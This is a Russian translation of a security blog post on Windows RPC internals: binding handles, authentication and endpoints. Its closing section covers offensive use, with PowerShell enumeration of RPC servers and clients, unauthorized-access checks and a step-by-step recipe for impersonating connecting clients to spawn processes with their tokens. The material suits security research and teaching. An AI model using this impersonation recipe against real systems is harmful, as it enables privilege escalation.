Привязка- это процесс создания логической связи между клиентской программой и серверной программой. Информация, составляющая связь между клиентом и сервером, представлена структурой, называемой дескриптором привязки.

Терминология дескрипторов связывания становится более понятной, когда мы вводим некоторый контекст. Технически существует три типа дескрипторов привязки:

  • Неявные
  • Явные
  • Автоматический

Примечание: Вы можете реализовать пользовательские дескрипторы привязки, как описано [здесь](https://docs.microsoft.com/en-us/windows/win32/rpc/primitive- and-custom-binding-handles), но мы проигнорируем это в данной статье, поскольку это довольно редкое явление, и вы вполне можете обойтись стандартными типами.

Неявные дескрипторы привязки позволяют вашему клиенту подключаться и взаимодействовать с определенным RPC-сервером (указанным UUID в IDL-файле). Недостатком является то, что неявные привязки не являются потокобезопасными, поэтому многопоточные приложения должны использовать явные привязки. Ручки неявного связывания определяются в IDL-файле, как показано в примере IDL-кода выше или в моем примере [неявного интерфейса](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/RPC/CPP-RPC-Client-Server/RPC- Interface1/Interface1-Implicit.idl).

Явные дескрипторы привязки позволяют вашему клиенту подключаться и взаимодействовать с несколькими серверами RPC. Явные дескрипторы связывания рекомендуется использовать из-за их потокобезопасности и возможности установки нескольких соединений. Пример определения явного дескриптора привязки можно найти в моем коде [здесь](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/RPC/CPP-RPC-Client-Server/RPC- Interface1/Interface1-Explicit.idl).

Автоматическое связывание - это промежуточное решение для ленивого разработчика, который не хочет возиться с дескрипторами связывания и позволяет среде выполнения RPC выяснить, что нужно. Я бы рекомендовал использовать явные дескрипторы, просто чтобы быть в курсе того, что вы делаете.

Зачем мне вообще нужны дескрипторы привязки, спросите вы. Представьте себе дескриптор связывания как представление вашего канала связи между клиентом и сервером, подобно шнуру в телефоне (интересно, сколько людей знают эти "устройства"...). Учитывая, что у вас есть представление канала связи ("шнур"), вы можете добавить атрибуты к этому каналу связи, например, раскрасить шнур, чтобы сделать его более уникальным.

Подобно этому, ручки привязки позволяют, например, защитить соединение между клиентом и сервером (потому что у вас есть что-то, к чему можно добавить безопасность) и, следовательно, сформировать то, что Microsoft называет "аутентифицированными" привязками.

Анонимные и аутентифицированные привязки

Допустим, у вас работает простой и понятный RPC-сервер, теперь клиент подключается к вашему серверу. Если вы не указали ничего, кроме самого минимума (который я перечислю ниже), такое соединение между клиентом и сервером называется анонимным или неаутентифицированным связыванием, из-за того, что ваш сервер не знает, кто к нему подключился. Чтобы избежать подключения любого клиента и повысить уровень безопасности вашего сервера, вы можете включить три механизма:

  1. Вы можете установить флаги регистрации при регистрации интерфейса вашего сервера; И/или
  2. Вы можете установить обратный вызов Security с пользовательской процедурой для проверки того, должен ли запрашивающий клиент быть разрешен или запрещен; And/Or
  3. Вы можете установить аутентификационную информацию, связанную с вашим дескриптором привязки, чтобы указать поставщика услуг безопасности и SPN для представления вашего RPC-сервера.

Давайте рассмотрим эти три механизма шаг за шагом.

Флаги регистрации

Прежде всего, когда вы создаете свой сервер, вам необходимо зарегистрировать свой интерфейс, например, с помощью вызова [RpcServerRegisterIf2](https://docs.microsoft.com/en- us/windows/win32/api/rpcdce/nf-rpcdce-rpcserverregisterif2) - я покажу вам, где этот вызов вступает в игру в разделе RPC Communication Flow. В качестве четвертого параметра RpcServerRegisterIf2 вы можете указать [флаги регистрации интерфейса](https://docs.microsoft.com/en-us/windows/win32/rpc/interface- registration-flags), например RPC_IF_ALLOW_LOCAL_ONLY, чтобы разрешить только локальные соединения.

Примечание: читайте это как RPC_InterFace_ALLOW_LOCAL_ONLY.

Пример вызова может выглядеть следующим образом:

C++:Copy to clipboard

RPC_STATUS rpcStatus = RpcServerRegisterIf2(
    Example1_v1_0_s_ifspec,         // Interface to register.
    NULL,                           // NULL type UUID
    NULL,                           // Use the MIDL generated entry-point vector.
    RPC_IF_ALLOW_LOCAL_ONLY,        // Only allow local connections
    RPC_C_LISTEN_MAX_CALLS_DEFAULT, // Use default number of concurrent calls.
    (unsigned)-1,                   // Infinite max size of incoming data blocks.
    NULL                            // No security callback.
);

Обратные вызовы безопасности

Следующим в списке является обратный вызов безопасности, который вы можете задать в качестве последнего параметра вышеприведенного вызова. Всегда разрешенный обратный вызов может выглядеть следующим образом:

C++:Copy to clipboard

// Naive security callback.
RPC_STATUS CALLBACK SecurityCallback(RPC_IF_HANDLE hInterface, void* pBindingHandle)
{
    return RPC_S_OK; // Always allow anyone.
}

Чтобы включить этот обратный вызов Security, просто установите последний параметр функции RpcServerRegisterIf2 в имя вашей функции обратного вызова безопасности, которая в данном случае называется просто "SecurityCallback", как показано ниже:

C++:Copy to clipboard

RPC_STATUS rpcStatus = RpcServerRegisterIf2(
    Example1_v1_0_s_ifspec,         // Interface to register.
    NULL,                           // Use the MIDL generated entry-point vector.
    NULL,                           // Use the MIDL generated entry-point vector.
    RPC_IF_ALLOW_LOCAL_ONLY,        // Only allow local connections
    RPC_C_LISTEN_MAX_CALLS_DEFAULT, // Use default number of concurrent calls.
    (unsigned)-1,                   // Infinite max size of incoming data blocks.
    SecurityCallback                // No security callback.
);

Эта функция обратного вызова может быть реализована любым удобным для вас способом, например, вы можете разрешать/запрещать соединения на основе IP- адресов.

Аутентифицированные привязки ​

Хорошо, пока вы должны знать, что вы можете создавать неявные и явные интерфейсы и использовать несколько вызовов Windows API для настройки вашего RPC-сервера. В предыдущем разделе я добавил, что как только вы зарегистрируете свой сервер, вы можете установить флаги регистрации и (если хотите) также функцию обратного вызова для защиты вашего сервера и фильтрации клиентов, которые могут получить доступ к вашему серверу. Последняя часть головоломки теперь представляет собой дополнительный Windows API, который позволяет серверу и клиенту аутентифицировать вашу привязку (помните, что одно из преимуществ наличия дескриптора привязки заключается в том, что вы можете аутентифицировать свою привязку, например, «покрасить шнур для банки»). Телефон').
… Но зачем/должны ли вы это делать?

Аутентифицированные привязки в сочетании с правильным регистрационным флагом (RPC_IF_ALLOW_SECURE_ONLY) позволяют вашему RPC-серверу гарантировать, что только аутентифицированные пользователи могут подключаться; И, в случае, если клиент разрешает это, позволяет серверу выяснить, кто к нему подключился, выдавая себя за клиента.

Для резервного копирования того, что вы узнали ранее: вы также можете использовать SecurityCallback, чтобы запретить любому анонимному клиенту подключаться, но вам нужно будет реализовать механизм фильтрации самостоятельно, на основе атрибутов, которыми вы управляете.

Пример: вы не сможете определить, например, является ли клиент действительным пользователем домена, потому что у вас нет доступа к этой информации об учетной записи.

Итак, как указать аутентифицированную привязку?

Вы можете аутентифицировать свою привязку на сервере и на стороне клиента. На стороне сервера вы хотите реализовать это, чтобы обеспечить безопасное соединение, а на стороне клиента вам может понадобиться это, чтобы иметь возможность подключаться к вашему серверу (как мы вскоре увидим в [матрице доступа ](https://csandker.io/2021/02/21/Offensive-Windows- IPC-2-RPC.html#access-matrix))

Аутентификация привязки на стороне сервера:[взято из моего примера кода [здесь](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/RPC/CPP-RPC-Client-Server/RPC-Server1-Explicit- SecurityCallback-Auth/RPC-Server-Explicit-SecurityCallback-Auth.cpp#L179) ]

C++:Copy to clipboard

RPC_STATUS rpcStatus = RpcServerRegisterAuthInfo(
    pszSpn,             // Server principal name
    RPC_C_AUTHN_WINNT,    // using NTLM as authentication service provider
    NULL,               // Use default key function, which  is ignored for NTLM SSP
    NULL                // No arg for key function
);

Аутентификация привязки на стороне клиента:[Взято из моего примера кода [здесь](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/RPC/CPP-RPC-Client-Server/RPC-Client1-Explicit-Auth- QOS/RPC-Client1-Explicit-Auth-QOS.cpp#L84) ]

C++:Copy to clipboard

RPC_STATUS status = RpcBindingSetAuthInfoEx(
hExplicitBinding,        // the client's binding handle
pszHostSPN,            // the server's service principale name (SPN)
RPC_C_AUTHN_LEVEL_PKT,    // authentication level PKT
RPC_C_AUTHN_WINNT,        // using NTLM as authentication service provider
NULL,            // use current thread credentials
RPC_C_AUTHZ_NAME,        // authorization based on the provided SPN
&secQos            // Quality of Service structure
);

Интересным моментом на стороне клиента является то, что вы можете установить структуру [качества обслуживания (QOS)](https://docs.microsoft.com/en- us/windows/win32/api/winnt/ns-winnt-security_quality_of_service)с помощью аутентифицированного дескриптора привязки. Эта структура QOS может, например, использоваться на стороне клиента для определения уровня олицетворения(для получения дополнительной информации см. мою предыдущую публикацию IPC ), которую мы позже рассмотрим в разделе Имитация клиента .

Важно отметить :
Установка привязки с проверкой подлинности на стороне сервера не требует проверки подлинности на стороне клиента.

Если, например, на стороне сервера не установлены никакие флаги или установлен только RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH , неаутентифицированные клиенты все равно могут подключаться к RPC-серверу.

установка RPC_IF_ALLOW_SECURE_ONLY предотвращает привязку клиента без проверки подлинности, поскольку клиент не может установить уровень проверки подлинности (который проверяется с помощью этого флага) без создания привязки с проверкой подлинности.

Известные и динамические конечные точки ​

И последнее, но не менее важное: мы должны прояснить один последний важный аспект связи RPC: общеизвестные и динамические конечные точки.

Я постараюсь сделать это кратким, так как это также довольно легко понять…

Когда вы запускаете свой сервер RPC, сервер регистрирует интерфейс (как мы уже видели в приведенном выше примере кода с [RpcServerRegisterIf2 ](https://docs.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce- rpcserverregisterif2)), и ему также необходимо определить, в какой последовательности протоколов (например, 'ncacn_ip_tcp', 'ncacn_np', …) это хочется слушать.

Теперь строки последовательности протокола, которую вы указываете на своем сервере, недостаточно для открытия соединения порта RPC. Представьте, что вы указываете «ncacn_ip_tcp» в качестве последовательности вашего протокола, что означает, что вы указываете своему серверу открыть RPC-соединение, которое принимает соединения через TCP/IP… но… на каком TCP-порту сервер должен фактически открывать соединение?

Подобно ncacn_ip_tcp , другим последовательностям протоколов также требуется немного больше информации о том где открывать объект соединения:

  • ncacn_ip_tcp требует номер порта TCP, например, 9999
  • ncacn_np требуется имя именованного канала, например. «\pipe\FRPC-NP»
  • ncalrpc требуется имя порта ALPC, например «\RPC Control\FRPC-LRPC»

Предположим на мгновение, что вы указали ncacn_np в качестве последовательности протокола и выбрали имя именованного канала «\pipe\FRPC- NP».

Ваш сервер RPC с радостью заработает и теперь ждет подключения клиентов. С другой стороны, клиент должен знать, куда он должен подключаться. Вы сообщаете своему клиенту имя сервера, указываете последовательность протокола как ncacn_np и устанавливаете имя именованного канала на то же имя, которое вы определили на своем сервере («\pipe\FRPC-NP»). Клиент успешно подключается, и таким образом вы создали клиент и сервер RPC на основе общеизвестной конечной точки… которая в данном случае: «\pipe\FRPC-NP».

Использование общеизвестных конечных точек RPC просто означает, что вы заранее знаете всю информацию о привязке (последовательность протокола и адрес конечной точки) и можете — если хотите — также жестко закодировать эту информацию в своем клиенте и сервере. Использование общеизвестных конечных точек — это самый простой способ создать первое соединение клиент/сервер RPC.

Что такое динамические конечные точки и зачем их использовать?

В приведенном выше примере мы выбрали ncacn_np и просто выбрали любое произвольное имя именованного канала, чтобы открыть наш сервер, и это сработало просто отлично, потому что мы знали (ну, по крайней мере, мы надеялись), что именованный канал, который мы открыли с этим именем, не уже существует на стороне сервера, потому что мы только что придумали имя. Если теперь мы выберем ncacn_ip_tcp в качестве последовательности протоколов, как мы узнаем, какой TCP-порт все еще доступен для нас? Что ж, мы могли бы просто указать, что нашей программе нужен порт 9999 для работы, и предоставить администраторам возможность убедиться, что этот порт не используется, но мы также можем попросить Windows назначить нам свободный порт. И это то, что динамические конечные точки. Легко… дело закрыто, пошли пить пиво

Подождите: если нам динамически назначается порт, как клиент узнает, куда подключаться?!…

И это еще одна вещь с динамическими конечными точками: если вы выбрали динамические конечные точки, вам нужен кто-то, чтобы сообщить вашему клиенту, какой порт у вас есть, и этот кто-то является сопоставления конечных точек RPC(запущена и работает по умолчанию в вашей системе Windows). Если ваш сервер использует динамические конечные точки ему нужно будет вызвать средство сопоставления конечных точек RPC, чтобы указать ему зарегистрировать свой интерфейс и функции (указанные в файле IDL). Как только клиент попытается создать привязку, он запросит у сервера сопоставления конечных точек RPC совпадающие интерфейсы, и средство сопоставления конечных точек заполнит недостающую информацию (например, TCP-порт) для создания привязки.

Основное преимущество динамических конечных точек заключается в автоматическом поиске доступного адреса конечной точки, когда адресное пространство конечной точки ограничено, как в случае с TCP-портами. Именованные каналы и соединения на основе ALPC также можно безопасно выполнять с общеизвестными конечными точками, потому что адресное пространство (также известное как произвольное имя канала или порта, которое вы выбрали) достаточно велико, чтобы избежать коллизий.

Мы завершим это фрагментами кода со стороны сервера, чтобы закрепить наше понимание общеизвестных и динамических конечных точек.

Хорошо известная реализация конечной точки

C++:Copy to clipboard

RPC_STATUS rpcStatus;
// Create Binding Information
rpcStatus = RpcServerUseProtseqEp(
    (RPC_WSTR)L"ncacn_np",          // using Named Pipes here
    RPC_C_PROTSEQ_MAX_REQS_DEFAULT, // Ignored for Named Pipes (only used for ncacn_ip_tcp, but set this anyway)
    (RPC_WSTR)L"\\pipe\\FRPC-NP",   // example Named Pipe name
    NULL                            // No Secuirty Descriptor
);
// Register Interface
rpcStatus = RpcServerRegisterIf2(...) // As shown in the examples above
// OPTIONAL: Register Authentication Information
rpcStatus = RpcServerRegisterAuthInfo(...) // As shown in the example above
// Listen for incoming client connections
rpcStatus = RpcServerListen(
    1,                              // Recommended minimum number of threads.
    RPC_C_LISTEN_MAX_CALLS_DEFAULT, // Recommended maximum number of threads.
    FALSE                           // Start listening now.
);

Реализация динамической конечной точки

C++:Copy to clipboard

RPC_STATUS rpcStatus;
RPC_BINDING_VECTOR* pbindingVector = 0;
// Create Binding Information
rpcStatus = RpcServerUseProtseq(
    (RPC_WSTR)L"ncacn_ip_tcp",      // using Named Pipes here
    RPC_C_PROTSEQ_MAX_REQS_DEFAULT, // Backlog queue length for the ncacn_ip_tcp protocol sequenc
    NULL                            // No Secuirty Descriptor
);
// Register Interface
rpcStatus = RpcServerRegisterIf2(...) // As shown in the examples above
// OPTIONAL: Register Authentication Information
rpcStatus = RpcServerRegisterAuthInfo(...) // As shown in the example above
// Get Binding vectors (dynamically assigend)
rpcStatus = RpcServerInqBindings(&pbindingVector);
// Register with RPC Endpoint Mapper
rpcStatus = RpcEpRegister(
    Example1_v1_0_s_ifspec,             // your interface as defined via IDL
    pbindingVector,                     // your dynamic binding vectors
    0,                                  // We don't want to register the vectors with UUIDs
    (RPC_WSTR)L"MyDyamicEndpointServer" // Annotation used for information purposes only, max 64 characters
);
// Listen for incoming client connections
rpcStatus = RpcServerListen(
    1,                              // Recommended minimum number of threads.
    RPC_C_LISTEN_MAX_CALLS_DEFAULT, // Recommended maximum number of threads.
    FALSE                           // Start listening now.
);

Примечание. Если вы используете общеизвестные конечные точки, вы также можете зарегистрировать свой RPC-сервер в локальном сопоставителе конечных точек RPC, вызвав [RpcServerInqBindings ](https://docs.microsoft.com/en- us/windows/win32/api/rpcdce/nf-rpcdce-rpcserverinqbindings)и [RpcEpRegister ](https://docs.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce- rpcepregister), если хотите. Вам не нужно делать это, чтобы ваш клиент мог подключиться, но вы могли бы.

Если вы хотите узнать больше об этом, документацию Microsoft по этой теме можно найти здесь:
https://docs.microsoft.com/en-us/windows/win32/rpc/specifying-endpoints

Коммуникационный поток RPC ​

Подводя итог всему вышесказанному, можно резюмировать поток общения следующим образом:

  1. Сервер регистрирует интерфейс(ы), например, используя RpcServerRegisterIf2
  2. Сервер создает информацию о привязке, используя RpcServerUseProtseq и RpcServerInqBindings ( RpcServerInqBindings является необязательным для общеизвестных конечных точек )
  3. Сервер регистрирует конечные точки с помощью RpcEpRegister (необязательно для общеизвестных конечных точек )
  4. Сервер может зарегистрировать информацию об аутентификации, используя RpcServerRegisterAuthInfo (необязательно)
  5. Сервер прослушивает клиентские соединения, используя RpcServerListen.
  6. Клиент создает дескриптор привязки, используя RpcStringBindingCompose и RpcBindingFromStringBinding.
  7. клиента RPC находит серверный процесс, запрашивая Endpoint Mapper в хост-системе сервера (необходимо только для динамических конечных точек )
  8. Клиент может аутентифицировать дескриптор привязки с помощью RpcBindingSetAuthInfo (необязательно)
  9. Клиент выполняет вызов RPC, вызывая одну из функций, определенных в используемом интерфейсе.
  10. Клиентская библиотека времени выполнения RPC упорядочивает аргументы в недоставке формате
  11. Библиотека сервера передает маршалированные аргументы в заглушку, которая их демаршалирует, а затем передает подпрограммам сервера.
  12. Когда Сервера возвращаются, заглушка берет параметры [out] и [in, out] (определенные в IDL-файле интерфейса) и возвращаемое значение, маршалирует их и отправляет маршалированные данные в библиотеку времени выполнения RPC Сервера, который передает их обратно клиенту.

1655121277896.png

Пример реализации ​

Как уже упоминалось в начале, приведенные выше примеры взяты из моей пробной реализации, общедоступной по адресу:
[https://github.com/csandker/InterProcessCommunication- Samples/tree/master/RPC/CPP-RPC-Client-Server ](https://github.com/csandker/InterProcessCommunication- Samples/tree/master/RPC/CPP-RPC-Client-Server).
В этом репозитории вы найдете следующие примеры реализации:

  • Базовый неаутентифицированный сервер, поддерживающий неаутентифицированные неявные привязки
  • Базовый неаутентифицированный клиент, поддерживающий неаутентифицированные неявные привязки
  • Базовый сервер, поддерживающий явные привязки без проверки подлинности
  • Базовый сервер, поддерживающий аутентифицированные явные привязки
  • Базовый клиент, поддерживающий аутентифицированные явные привязки без QOS
  • Базовый клиент, поддерживающий аутентифицированные явные привязки с QOS

Пример того, как выглядят эти PoC, можно увидеть ниже:

1655121317060.png

Матрица доступа ​

Хорошо, если вы поняли всю приведенную выше терминологию, вот матрица доступа, которая визуализирует, какой клиент может подключиться к какому серверу.

Примечание. Вы можете подключать неявных клиентов только к неявным серверам, а явных клиентов — к явным серверам. В противном случае вы получите ошибку 1717 (RPC_S_UNKNOWN_IF).

1655121409014.png

Поверхность атаки ​

Наконец… после всех этих разговоров о внутреннем устройстве RPC давайте поговорим о поверхности атаки RPC.

Очевидно, что в цепочке связи RPC могут быть ошибки и 0-day, что всегда сводится к индивидуальному анализу, чтобы понять потенциал эксплойта, но есть также некоторый потенциал эксплуатации общих концепций дизайна RPC, который я выделю ниже.

Дополнительное примечание: если вам известны интересные RPC CVE, пропингуйте меня по адресу /0xcsandker.

Поиск интересных целей
Итак, прежде чем мы сможем подумать, в какие наступательные игры мы можем играть с RPC, нам нужно сначала найти подходящие цели.

Давайте углубимся в то, как мы можем найти RPC-серверы и клиенты в ваших системах.

RPC-серверы ​

Напомним, что сервер создается путем указания необходимой информации (последовательность протокола и адрес конечной точки) и вызова API-интерфейсов Windows для создания необходимых внутренних объектов и запуска сервера. Имея это в виду, самый простой способ найти RPC-серверы в вашей локальной системе — это найти программы, которые импортируют эти RPC-API Windows.

Один из простых способов сделать это — использовать [DumpBin ](https://docs.microsoft.com/en-us/cpp/build/reference/dumpbin- reference?view=msvc-160), которая в настоящее время поставляется с Visual Studio.

Пример фрагмента кода Powershell для поиска C:\Windows\System32\на недавней Windows10 можно найти ниже:

Code:Copy to clipboard

Get-ChildItem -Path "C:\Windows\System32\" -Filter "*.exe" -Recurse -ErrorAction SilentlyContinue | % { $out=$(C:\"Program Files (x86)"\"Microsoft Visual Studio 14.0"\VC\bin\dumpbin.exe /IMPORTS:rpcrt4.dll $_.VersionInfo.FileName); If($out -like "*RpcServerListen*"){ Write-Host "[+] Exe starting RPC Server: $($_.VersionInfo.FileName)"; Write-Output "[+] $($_.VersionInfo.FileName)`n`n $($out|%{"$_`n"})" | Out-File -FilePath EXEs_RpcServerListen.txt -Append } }

Этот фрагмент выводит имена исполняемых файлов на консоль и весь вывод DumpBin в файл EXEs_RpcServerListen.txt(чтобы вы могли просмотреть, что на самом деле дает вам DumpBin).

1655121650126.png
Еще один способ найти интересные RPC-серверы — запросить RPC Endpoint Mapper либо локально, либо в любой удаленной системе. Для этого у Microsoft есть тестовая утилита под названием [PortQry ](https://www.microsoft.com/en- us/download/details.aspx?id=17148)(также доступна версия этого инструмента с графическим интерфейсом), которую вы можете использовать следующим образом: C:\PortQryV2\PortQry.exe -n -e 135

1655121715363.png

Этот инструмент предоставляет некоторую информацию об удаленных RPC- интерфейсах, о которых известно программе сопоставления конечных точек (помните, что [общеизвестные конечные точки ](https://csandker.io/2021/02/21/Offensive-Windows-IPC-2-RPC.html#well-known- vs-dynamic-endpoints)не должны информировать средство сопоставления конечных точек о своих интерфейсах).

Другой вариант — запросить Endpoint Manager напрямую, вызвав [RpcMgmtEpEltInqBegin ](https://docs.microsoft.com/en- us/windows/win32/api/rpcdce/nf-rpcdce-rpcmgmtepeltinqbegin)и перебирая интерфейсы через [RpcMgmtEpEltInqNext ](https://docs.microsoft.com/en- us/windows/win32/api/rpcdce/nf-rpcdce-rpcmgmtepeltinqnext). Пример реализации этого подхода под названием RPCDump был включен в потрясающую книгу Криса Макнаба « Оценка сетевой безопасности », O’Reilly опубликовал инструмент, написанный на C , здесь (согласно аннотации комментария, кредиты за этот код должны принадлежать Тодду Сабину).

Я перенес этот классный инструмент на VC++ и внес небольшие изменения в удобство использования. Я опубликовал свой форк на https://github.com/csandker/RPCDump .

1655121888756.png

Как показано, этот инструмент также отображает интерфейсы найденных конечных точек RPC вместе с некоторой другой информацией. Я не буду вдаваться в подробности всех этих полей, но если вам интересно, ознакомьтесь с кодом и прочтите документацию по Windows API. Статистика, например, извлекается вызовом [RpcMgmtInqStats ](https://docs.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce- rpcmgmtinqstats), где возвращаемые значения упоминаются в [Примечания ](https://docs.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce- rpcmgmtinqstats#remarks)».

Еще раз помните, что есть только RPC-интерфейсы, зарегистрированные в Endpoint Mapper цели.

RPC-клиенты ​

Поиск клиентов, которые подключаются к удаленным или локальным серверам RPC, также может быть интересной целью.
Не существует единого центра, который бы знал, какие клиенты RPC запущены в данный момент, поэтому у вас есть два варианта поиска клиентов:

  • Поиск исполняемых файлов/процессов, использующих клиентские RPC API; Или же
  • Поймал клиентов на месте

Поиск локальных исполняемых файлов, импортирующих клиентский RPC API, аналогичен тому, что мы уже делали для поиска серверов с помощью [DumpBin ](https://docs.microsoft.com/en-us/cpp/build/reference/dumpbin- reference?view=msvc-160). Хорошим Windows API для поиска является [RpcStringBindingCompose ](https://docs.microsoft.com/en- us/windows/win32/api/rpcdce/nf-rpcdce-rpcstringbindingcompose):

Code:Copy to clipboard

Get-ChildItem -Path "C:\Windows\System32\" -Filter "*.exe" -Recurse -ErrorAction SilentlyContinue | % { $out=$(C:\"Program Files (x86)"\"Microsoft Visual Studio 14.0"\VC\bin\dumpbin.exe /IMPORTS:rpcrt4.dll $_.VersionInfo.FileName); If($out -like "*RpcStringBindingCompose*"){ Write-Host "[+] Exe creates RPC Binding (potential RPC Client) : $($_.VersionInfo.FileName)"; Write-Output "[+] $($_.VersionInfo.FileName)`n`n $($out|%{"$_`n"})" | Out-File -FilePath EXEs_RpcClients.txt -Append } }

1655124108525.png

Другой способ найти RPC-клиентов — обнаружить их, когда они подключаются к своей цели. Одним из примеров обнаружения клиентов является проверка трафика, передаваемого по сети между двумя системами. В Wireshark есть фильтр DCERPC, который можно использовать для обнаружения подключений.
Пример подключения клиента к серверу показан ниже:

1655124165428.png

Запрос на привязку — это одна из вещей, которые мы можем искать для идентификации клиентов. В пакете select мы видим клиента, пытающегося привязаться к серверному интерфейсу с UUID «d6b1ad2b-b550-4729-b6c2-1651f58480c3».

Несанкционированный доступ​

После того, как вы определили RPC-сервер, который предоставляет интересные функции, которые могут быть полезны для вашей цепочки атак, самое очевидное, что нужно проверить, — это проверить, можете ли вы получить несанкционированный доступ к серверу.

Вы можете либо реализовать свой собственный клиент, например, на основе моего [примера реализации ](https://csandker.io/2021/02/21/Offensive-Windows- IPC-2-RPC.html#sample-implementation), либо обратиться к [матрице доступа ](https://csandker.io/2021/02/21/Offensive-Windows-IPC-2-RPC.html#access- matrix), чтобы проверить, может ли ваш клиент подключиться к серверу.

Если вы уже глубоко погрузились в обратный инжиниринг RPC-сервера и обнаружили, что сервер устанавливает информацию для проверки подлинности, вызывая [RpcServerRegisterAuthInfo ](https://docs.microsoft.com/en- us/windows/win32/api/rpcdce/nf-rpcdce-rpcserverregisterauthinfo)со своим SPN и указанным поставщиком услуг, помните, что привязка сервера с проверкой подлинности не заставляет клиента использовать привязку с проверкой подлинности. Другими словами: тот факт, что сервер устанавливает аутентификационную информацию, не означает, что клиенту необходимо подключаться через аутентифицированную привязку. Кроме того, при подключении к серверу, который устанавливает информацию для аутентификации, имейте в виду, что клиентские вызовы с недействительными учетными данными не будут отправлены библиотекой времени выполнения (rpcrt4.dll), однако клиентские вызовы без учетных данных будут отправлены. Или, говоря словами Microsoft:

Помните, что по умолчанию безопасность необязательна.
Источник:<https://docs.microsoft.com/en-us/windows/win32/api/rpcdce/nf- rpcdce-rpcserverregisterifex>

Click to expand...

Как только вы подключитесь к серверу, вопрос «что делать дальше?» возникает…

Что ж, теперь вы можете вызывать функции интерфейса, но плохая новость заключается в следующем: сначала вам нужно определить имена и параметры функций, что сводится к обратному проектированию вашего целевого сервера.

Если вам повезло и вы ищете не чистый RPC-сервер, а COM-сервер (COM, особенно DCOM, использует RPC под капотом), сервер может поставляться с библиотекой типов (.tlb), которую вы можете использовать для функции интерфейса поиска.

Я не буду углубляться в библиотеки типов или что-либо еще здесь (сообщение в блоге уже довольно длинное), но моя общая рекомендация для тех, кто находится в такой ситуации, такова: возьмите мой пример кода RPC-клиента и сервера, скомпилируйте его и запустите свой Путешествие по обратному инжинирингу с известным вам образцом кода. В этом конкретном случае позвольте мне добавить еще одну подсказку: в моем примере интерфейса есть функция «Вывод», определенная в файле IDL, эта функция «Вывод» начинается с оператора печати. printf("[~] Client Message: %s\n", pszOutput);, вы можете, например, начать с поиска подстроки [~] Client Messageчтобы выяснить, где находится эта конкретная функция интерфейса.

Имперсонация

Имперсонация клиента также представляет собой интересную поверхность для атак. Я уже немного рассказал о том, что такое имперсонация и как она работает, в предыдущей части серии, если вы пропустили эту статью и вам нужно освежить в памяти информацию об имперсонации, вы найдете объяснения в разделе "Имперсонация" моего последнего сообщения.

Рецепт имперсонификации клиента следующий:

Вам нужен RPC-клиент, подключающийся к вашему серверу.
Клиент должен использовать аутентифицированную привязку (иначе не будет никакой информации безопасности, которую можно было бы выдать за свою)
Клиент не должен устанавливать аутентифицированную привязку Impersonation Level ниже SecurityImpersonation.
... вот и все

Процесс имперсонификации очень прост:

Вызов RpcImpersonateClient из функции интерфейса вашего сервера.

Обратите внимание, что эта функция принимает хэндл привязки в качестве входных данных, поэтому для использования имперсонификации вам нужен сервер с явной привязкой (что вполне логично).

Если этот вызов успешен, контекст потока сервера изменяется на контекст безопасности клиента, и вы можете вызвать GetCurrentThread & OpenThreadToken, чтобы получить токен имперсонации клиента.

Если вы сейчас говорите "WTF изменение контекста безопасности?!", вы найдете ответы в посте IPC Named Pipe
Если вам больше нравится "WTF токен имперсонации?!", вы найдете ответы в моем руководстве по авторизации Windows.

Как только вы вызвали DuplicateTokenEx, чтобы превратить ваш токен Impersonation в первичный токен, вы можете с радостью вернуться в исходный контекст потока сервера, вызвав RpcRevertToSelfEx.

И, наконец, вы можете вызвать CreateProcessWithTokenW, чтобы создать новый процесс с токеном клиента.

Обратите внимание, что это только один из способов создания процесса с токеном клиента, но, на мой взгляд, он достаточно хорошо отображает способ выполнения этих действий, и поэтому я использую этот подход здесь. Пример реализации этого кода можно найти здесь.

Кстати, это та же процедура, которую я использовал для пародирования клиентов Named Pipe в моем предыдущем сообщении.

Как было сказано в рецепте выше, вам просто нужен клиент, который подключается к вашему серверу, и этот клиент должен использовать аутентифицированную привязку.

Если клиент не аутентифицирует свою привязку, то вызов RpcImpersonateClient приведет к ошибке 1764 (RPC_S_BINDING_HAS_NO_AUTH).

Поиск подходящего клиента, который можно подключить к серверу, сводится к поиску RPC-клиента (см. раздел Поиск RPC-клиентов) и поиску клиента, который можно подключить к серверу. Последнее может оказаться самой сложной частью в этой цепочке эксплойтов, и я не могу дать здесь общих рекомендаций по поиску таких соединений. Одна из причин этого заключается в том, что это зависит от последовательности протоколов, используемых клиентом, где неотвеченный TCP вызов может быть лучше всего обнаружен при прослушивании сети, а неотвеченная попытка соединения Named Pipe может быть также замечена на хост-системе клиента или сервера.

В первой части серии (которая была посвящена Named Pipes) я больше внимания уделил выдаче себя за клиента, поэтому здесь я позволю себе несколько слов. Однако, если вы еще не сделали этого, я бы рекомендовал прочитать об условиях гонки при создании экземпляра, а также об особых вкусах при создании экземпляра. Здесь действуют те же принципы. Более интересным аспектом является то, что я намеренно написал выше: "Клиент не должен устанавливать аутентифицированную привязку уровня имперсонации ниже SecurityImpersonation*"... что звучит как процесс отказа, и именно так оно и есть.

Помните, что вы можете установить структуру Quality of Service (QOS) на стороне клиента при создании аутентифицированной привязки? Как было сказано в разделе Аутентифицированные привязки, вы можете использовать эту структуру для определения уровня имперсонации при подключении к серверу. Интересно, что если вы не зададите никакой структуры QOS, то по умолчанию будет SecurityImpersonation, что позволяет любому серверу выдавать себя за клиента RPC до тех пор, пока клиент явно не установит уровень обезличивания ниже SecurityImpersonation.

Результат имперсонификации может выглядеть следующим образом:

1655124327547.png

Неимперсонация сервера

Существует еще одна сторона имперсонализации, которую часто упускают из виду, но которая не менее интересна с точки зрения злоумышленников.

В первой части серии я подробно описал шаги, которые выполняются при выдаче себя за клиента, они в равной степени применимы и к выдаче себя за RPC (и ко всем другим подобным технологиям), где особенно интересны следующие два шага:

Шаг 8: Контекст потока сервера затем изменяется на контекст безопасности клиента.
Шаг 9: Любое действие сервера и любая функция, которую сервер вызывает, находясь в контексте безопасности клиента, выполняются с идентификацией клиента и тем самым выдают себя за него.

